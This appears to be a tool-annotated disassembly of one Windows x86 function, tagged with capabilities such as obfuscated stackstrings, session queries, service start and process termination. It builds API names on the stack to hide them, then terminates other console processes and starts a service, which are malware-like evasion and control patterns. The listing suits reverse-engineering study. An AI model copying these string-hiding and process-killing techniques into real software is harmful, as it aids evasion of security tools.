Function at 0x1001c100
Capabilities:
Check os version
Contain obfuscated stackstrings
Get session information
Get session user name
Resolve function by parsing pe exports
Start service
Terminate process

Disassembly:
sub esp, 0x634
mov al, 0x45
push ebx
mov byte [esp + 9], al
mov byte [esp + 0xc], al
lea eax, [esp + 0x3c]
lea ecx, [esp + 8]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x10], 0x4b
mov byte [esp + 0x12], 0x52
mov byte [esp + 0x13], 0x4e
mov byte [esp + 0x15], 0x4c
mov byte [esp + 0x16], 0x33
mov byte [esp + 0x17], 0x32
mov byte [esp + 0x18], 0x2e
mov byte [esp + 0x19], 0x64
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x6c
mov byte [esp + 0x1c], 0
mov byte [esp + 0x44], 0x50
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x6f
mov byte [esp + 0x47], 0x63
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], 0x73
mov byte [esp + 0x4a], 0x73
mov byte [esp + 0x4b], 0x49
mov byte [esp + 0x4c], 0x64
mov byte [esp + 0x4d], 0x54
mov byte [esp + 0x4e], 0x6f
mov byte [esp + 0x4f], 0x53
mov byte [esp + 0x50], bl
mov byte [esp + 0x51], 0x73
mov byte [esp + 0x52], 0x73
mov byte [esp + 0x53], 0x69
mov byte [esp + 0x54], 0x6f
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], 0x49
mov byte [esp + 0x57], 0x64
mov byte [esp + 0x58], 0
call fcn.1001b770
mov dword [esp + 0x94], eax
lea edx, [esp + 0x5c]
lea eax, [esp + 0x10]
push edx
push eax
mov byte [esp + 0x64], 0x57
mov byte [esp + 0x65], 0x54
mov byte [esp + 0x66], 0x53
mov byte [esp + 0x67], 0x47
mov byte [esp + 0x68], bl
mov byte [esp + 0x69], 0x74
mov byte [esp + 0x6a], 0x41
mov byte [esp + 0x6b], 0x63
mov byte [esp + 0x6c], 0x74
mov byte [esp + 0x6d], 0x69
mov byte [esp + 0x6e], 0x76
mov byte [esp + 0x6f], bl
mov byte [esp + 0x70], 0x43
mov byte [esp + 0x71], 0x6f
mov byte [esp + 0x72], 0x6e
mov byte [esp + 0x73], 0x73
mov byte [esp + 0x74], 0x6f
mov byte [esp + 0x75], 0x6c
mov byte [esp + 0x76], bl
mov byte [esp + 0x77], 0x53
mov byte [esp + 0x78], bl
mov byte [esp + 0x79], 0x73
mov byte [esp + 0x7a], 0x73
mov byte [esp + 0x7b], 0x69
mov byte [esp + 0x7c], 0x6f
mov byte [esp + 0x7d], 0x6e
mov byte [esp + 0x7e], 0x49
mov byte [esp + 0x7f], 0x64
mov byte [esp + 0x80], 0
call fcn.1001b770
mov dword [esp + 0xa0], eax
mov byte [esp + 0x28], 0x41
mov byte [esp + 0x29], 0x44
mov byte [esp + 0x2a], 0x56
lea ecx, [esp + 0x38]
lea edx, [esp + 0x28]
push ecx
push edx
mov byte [esp + 0x33], 0x41
mov byte [esp + 0x34], 0x50
mov byte [esp + 0x35], 0x49
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x40], 0x53
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x74
mov byte [esp + 0x43], 0x53
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x72
mov byte [esp + 0x46], 0x76
mov byte [esp + 0x47], 0x69
mov byte [esp + 0x48], 0x63
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], 0x53
mov byte [esp + 0x4b], 0x74
mov byte [esp + 0x4c], 0x61
mov byte [esp + 0x4d], 0x74
mov byte [esp + 0x4e], 0x75
mov byte [esp + 0x4f], 0x73
mov byte [esp + 0x50], 0
call fcn.1001b770
mov dword [esp + 0x94], eax
mov eax, dword [0x1011ef74]
xor ebx, ebx
add esp, 0x18
cmp eax, ebx
jne 0x1001c67a
cmp dword [0x1011ef6c], ebx
je 0x1001c67a
push ebp
push esi
lea eax, [esp + 0xa0]
push edi
push eax
mov dword [esp + 0xa8], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea ecx, [esp + 0xb0]
lea edx, [esp + 0xac]
push ecx
lea eax, [esp + 0xac]
push edx
push eax
call fcn.1001ad60
add esp, 0xc
lea ecx, [esp + 0x140]
push 0x104
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x140]
lea eax, [esp + 0x244]
push edx
push str._s__acsi
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
mov dword [esp + 0x80], ebx
mov ecx, dword [esp + 0x648]
push ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [esp + 0xa0]
test eax, eax
je 0x1001c3a9
call dword [esp + 0x9c]
cmp eax, 0xffffffff
je 0x1001c3a9
cmp dword [esp + 0x80], eax
je 0x1001c3a9
lea ecx, [esp + 0x90]
lea edx, [esp + 0x84]
push ecx
push edx
push 5
push eax
push ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0xa0], str._rsvc
mov dword [esp + 0x98], ebx
mov dword [esp + 0xa4], ebx
call sub.WTSAPI32.dll_WTSQuerySessionInformationA
test eax, eax
je 0x1001c445
mov edx, dword [esp + 0x84]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x1001c43d
mov dword [esp + 0x10], 1
push edx
call sub.WTSAPI32.dll_WTSFreeMemory
jmp 0x1001c44d
mov dword [esp + 0x10], 1
cmp dword [0x1012c5d0], ebx
je 0x1001c45f
cmp dword [esp + 0x10], ebx
jne 0x1001c3a9
mov eax, dword [0x1012c5e4]
mov edi, dword [eax]
cmp edi, eax
je 0x1001c57f
mov eax, dword [edi + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_AttachConsole]
push eax
call esi
test eax, eax
jne 0x1001c490
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [edi + 0xc]
push ecx
call esi
test eax, eax
je 0x1001c47e
mov ebp, dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
lea edx, [esp + 0xa0]
push 1
push edx
call ebp
mov esi, eax
cmp esi, 1
jbe 0x1001c516
lea eax, [esi*4]
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov ebx, eax
mov dword [esp + 0x94], ebx
push esi
push ebx
call ebp
test esi, esi
jbe 0x1001c50b
mov ebp, esi
mov esi, dword [ebx]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp esi, eax
je 0x1001c4fe
cmp esi, dword [edi + 0xc]
je 0x1001c4fe
push esi
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1001c4fe
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add ebx, 4
dec ebp
jne 0x1001c4cc
mov ebx, dword [esp + 0x94]
push ebx
call sub.MFC42.DLL_operatordelete
add esp, 4
xor ebx, ebx
mov esi, dword [sym.imp.KERNEL32.dll_FreeConsole]
call esi
test eax, eax
jne 0x1001c530
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call esi
test eax, eax
je 0x1001c522
mov ecx, dword [edi + 0x10]
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [edi + 8]
mov edx, dword [0x1012bb68]
cmp ecx, edx
je 0x1001c55a
mov eax, dword [ecx]
cmp eax, edx
je 0x1001c556
mov ecx, eax
mov eax, dword [ecx]
cmp eax, edx
jne 0x1001c54e
mov edi, ecx
jmp 0x1001c573
mov eax, dword [edi + 4]
cmp edi, dword [eax + 8]
jne 0x1001c56c
mov edi, eax
mov eax, dword [eax + 4]
cmp edi, dword [eax + 8]
je 0x1001c562
cmp dword [edi + 8], eax
je 0x1001c573
mov edi, eax
cmp edi, dword [0x1012c5e4]
jne 0x1001c46e
mov edx, dword [0x1012c5b4]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [0x1012c5b8]
push eax
call esi
cmp dword [0x1012c5d0], ebx
jne 0x1001c624
mov eax, dword [esp + 0xa8]
cmp eax, 6
jne 0x1001c5be
cmp dword [esp + 0xac], 2
jae 0x1001c657
jmp 0x1001c5c4
ja 0x1001c657
push 0x20000
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
cmp edi, ebx
je 0x1001c3a9
push 0x10
push 0x1011ec82
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
cmp esi, ebx
jne 0x1001c5fb
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x1001c3a9
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x8c]
push ecx
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x1001c66b
call esi
push edi
call esi
jmp 0x1001c3a9
lea eax, [esp + 0x244]
push eax
push ebx
call fcn.1001b830
add esp, 8
push eax
call esi
mov ecx, dword [0x1012c5d0]
push 0x1012bb90
push ecx
mov dword [0x1012bb94], 1
call dword [esp + 0x90]
jmp 0x1001c670
lea edx, [esp + 0x244]
push edx
push ebx
call fcn.1001b830
add esp, 8
push eax
jmp 0x1001c66e
call esi
push edi
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
pop ebx
add esp, 0x634
ret 4